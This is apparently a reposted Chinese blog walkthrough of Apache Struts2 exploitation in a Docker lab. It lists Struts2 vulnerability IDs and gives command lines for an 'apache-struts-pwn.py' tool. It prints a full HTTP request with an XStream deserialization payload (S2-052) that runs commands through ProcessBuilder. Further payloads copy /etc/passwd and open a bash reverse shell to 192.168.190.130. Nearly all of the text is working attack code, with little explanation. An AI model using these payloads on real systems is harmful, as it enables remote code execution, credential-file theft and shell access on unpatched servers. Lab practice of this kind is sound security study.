本文共 3039 字,大约阅读时间需要 10 分钟。
- S2-005
- S2-009
- S2-016 (含S2-013)
- S2-019
- S2-020
- S2-021
- S2-032
- S2-037(含S2-033)
- DevMode
- S2-045
- S2-046
- S2-048
- S2-052
- S2-055
- S2-057
python apache-struts-pwn.py -u 'http://192.168.190.135:8080/orders/3/edit'
python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'
Host: 192.168.190.135:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Referer: http://192.168.190.135:8080/orders/3/edit
Cookie: JSESSIONID=8FCB55C3A30CB6059D3530A01C3E6FA0
Upgrade-Insecure-Requests: 1
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<string>/tmp/success</string>
<redirectErrorStream>false</redirectErrorStream>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<class>java.lang.ProcessBuilder</class>
<next class="string">foo</next>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<consumed>false</consumed>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
以上数据包成功执行的话,会在docker容器内创建文件/tmp/success,
执行docker-compose exec struts2 ls /tmp/即可看到。
docker-compose exec struts2 ls /tmp/
<command> <string>cp</string> <string>/etc/passwd</string> <string>/tmp/passwd</string> </command>
<string>echo micr067 > /tmp/test.txt</string>
<command> <string>bash</string> <string>-c</string> <string>bash -i >&; /dev/tcp/192.168.190.130/1521 0>&;1</string> </command>
转载地址:http://rgqyz.baihongyu.com/